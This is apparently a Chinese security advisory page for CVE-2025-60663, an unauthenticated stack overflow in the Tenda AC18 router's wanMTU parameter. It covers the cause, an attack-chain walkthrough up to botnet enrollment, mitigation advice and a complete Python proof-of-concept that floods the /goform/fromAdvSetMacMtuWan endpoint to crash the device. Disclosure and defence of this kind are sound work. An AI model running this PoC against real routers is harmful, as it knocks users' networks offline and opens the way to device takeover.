IPBUF安全漏洞报告
English
CVE-2025-60663 CVSS 7.5 高危

CVE-2025-60663:Tenda AC18路由器栈溢出漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-60663
漏洞类型
栈缓冲区溢出(Stack Buffer Overflow)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC18 路由器

相关标签

栈缓冲区溢出Tenda AC18路由器漏洞远程代码执行拒绝服务IoT安全CVE-2025-60663高危漏洞未认证漏洞网络设备

漏洞概述

CVE-2025-60663是Tenda AC18路由器固件版本V15.03.05.19中存在的一个高危栈缓冲区溢出漏洞。该漏洞位于路由器的Web管理界面中的fromAdvSetMacMtuWan函数内,具体由wanMTU参数处理不当引发。攻击者可以通过向目标路由器发送精心构造的HTTP请求,利用该参数触发栈溢出,从而可能导致远程代码执行、拒绝服务攻击或设备崩溃。

该漏洞的CVSS 3.1评分为7.5分,属于高危级别。攻击者无需任何认证凭据即可发起攻击,也不需要用户交互,仅需通过网络即可远程利用。由于该漏洞影响的是网络基础设施设备(家用路由器),一旦被恶意利用,可能导致整个局域网遭受攻击,用户网络通信被监听或篡改,甚至设备被完全控制成为僵尸网络的一部分。

Tenda AC18是一款广泛使用的双频无线路由器,主要面向家庭和小型办公环境。由于其Web管理界面默认开放且常通过公网可访问,使得该漏洞的利用门槛极低。该漏洞的披露时间为2025年10月2日,由[email protected]报告。鉴于Tenda路由器在全球范围内的部署量较大,该漏洞可能影响大量用户,建议相关用户及时关注厂商发布的补丁信息并采取相应的防护措施。

技术细节

该漏洞的根本原因在于Tenda AC18路由器固件V15.03.05.19的Web服务程序中,fromAdvSetMacMtuWan函数对用户传入的wanMTU参数未进行充分的长度校验。当攻击者通过HTTP请求向该接口提交超长字符串作为wanMTU参数值时,数据会被复制到函数内部的栈缓冲区中,由于缓冲区大小有限,超出部分将覆盖栈上的返回地址和其他关键数据,从而触发栈缓冲区溢出。

从技术层面分析,该漏洞的利用过程如下:

1. **攻击向量**:攻击者通过HTTP POST请求向路由器的Web管理接口(通常为/goform/fromAdvSetMacMtuWan或类似路径)发送数据。

2. **参数构造**:在请求中包含wanMTU参数,其值被设置为远超缓冲区容量的超长字符串(例如数千字节的'A'字符或其他精心构造的payload)。

3. **溢出触发**:服务器端CGI程序接收请求后,在fromAdvSetMacMtuWan函数中使用不安全的字符串拷贝函数(如strcpy、sprintf等)将wanMTU参数值复制到固定大小的栈缓冲区,导致栈空间被覆盖。

4. **后果**:溢出可能覆盖函数的返回地址,使程序跳转到攻击者控制的地址执行恶意代码;也可能直接导致程序崩溃,引发拒绝服务攻击。

5. **利用条件**:由于该接口通常不需要认证(PR:N),且无需用户交互(UI:N),攻击者只需能够通过网络访问到路由器的Web管理端口(通常为80端口)即可发起攻击。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H,表明其主要影响为可用性(高),对机密性和完整性无直接影响,但在实际利用中,栈溢出漏洞常被进一步利用以实现远程代码执行,从而获取设备的完全控制权。

攻击链分析

STEP 1
步骤1:目标识别
攻击者通过扫描网络或利用Shodan等工具识别运行Tenda AC18固件版本V15.03.05.19的路由器设备,确认目标是否开放Web管理端口(通常为80端口)。
STEP 2
步骤2:漏洞探测
攻击者构造包含超长wanMTU参数的HTTP POST请求,向/goform/fromAdvSetMacMtuWan接口发送探测数据,验证目标是否存在栈溢出漏洞。
STEP 3
步骤3:Payload构造
攻击者根据目标设备的内存布局,构造包含shellcode或ROP链的恶意payload,通过超长wanMTU参数注入到栈缓冲区中。
STEP 4
步骤4:漏洞利用
攻击者发送精心构造的恶意HTTP请求,触发fromAdvSetMacMtuWan函数中的栈缓冲区溢出,覆盖返回地址或执行恶意代码。
STEP 5
步骤5:权限获取与持久化
成功利用后,攻击者可获取路由器的root权限,植入后门程序,修改DNS设置进行流量劫持,或将设备纳入僵尸网络进行DDoS攻击。
STEP 6
步骤6:横向移动
攻击者利用已被控制的路由器作为跳板,对局域网内的其他设备发起进一步攻击,或窃取用户的网络通信数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-60663 - Tenda AC18 V15.03.05.19 Stack Overflow PoC Vulnerability: Stack buffer overflow via wanMTU parameter in fromAdvSetMacMtuWan function Author: Security Research """ import requests import sys from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit(target_ip, port=80): """ Exploit the wanMTU stack buffer overflow vulnerability in Tenda AC18 router. Args: target_ip: The IP address of the target router port: The HTTP port (default 80) """ target_url = f"http://{target_ip}:{port}/goform/fromAdvSetMacMtuWan" # Construct the overflow payload for wanMTU parameter # The buffer is typically small, so we use a large payload to trigger overflow overflow_payload = "A" * 2000 # Overflow payload exceeding buffer size # POST data with the malicious wanMTU parameter payload = { "wanMTU": overflow_payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: print(f"[*] Targeting: {target_url}") print(f"[*] Sending payload with wanMTU length: {len(overflow_payload)}") response = requests.post( target_url, data=payload, headers=headers, timeout=10, verify=False ) print(f"[*] Response status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") # Check if the attack was successful (device may crash or return error) if response.status_code == 500 or "error" in response.text.lower(): print("[+] Exploit may have succeeded - device may be unstable") else: print("[*] Request sent, check device status manually") except requests.exceptions.Timeout: print("[+] Target timed out - possible DoS success") except requests.exceptions.ConnectionError: print("[+] Connection refused - possible DoS success (device crashed)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

影响范围

Tenda AC18 固件版本 V15.03.05.19

防御指南

临时缓解措施
在等待官方补丁发布期间,建议用户采取以下临时缓解措施:1)立即修改路由器默认管理员密码并启用强认证;2)禁用路由器的远程管理功能,仅允许局域网访问;3)在上级网络设备(如防火墙)上配置访问控制列表(ACL),阻止外部网络对路由器Web管理端口(80/443)的访问;4)监控路由器日志,识别异常的HTTP POST请求;5)如非必要,可暂时关闭路由器的Web管理功能,仅通过Telnet/SSH进行管理;6)定期备份路由器配置,以便在遭受攻击后快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表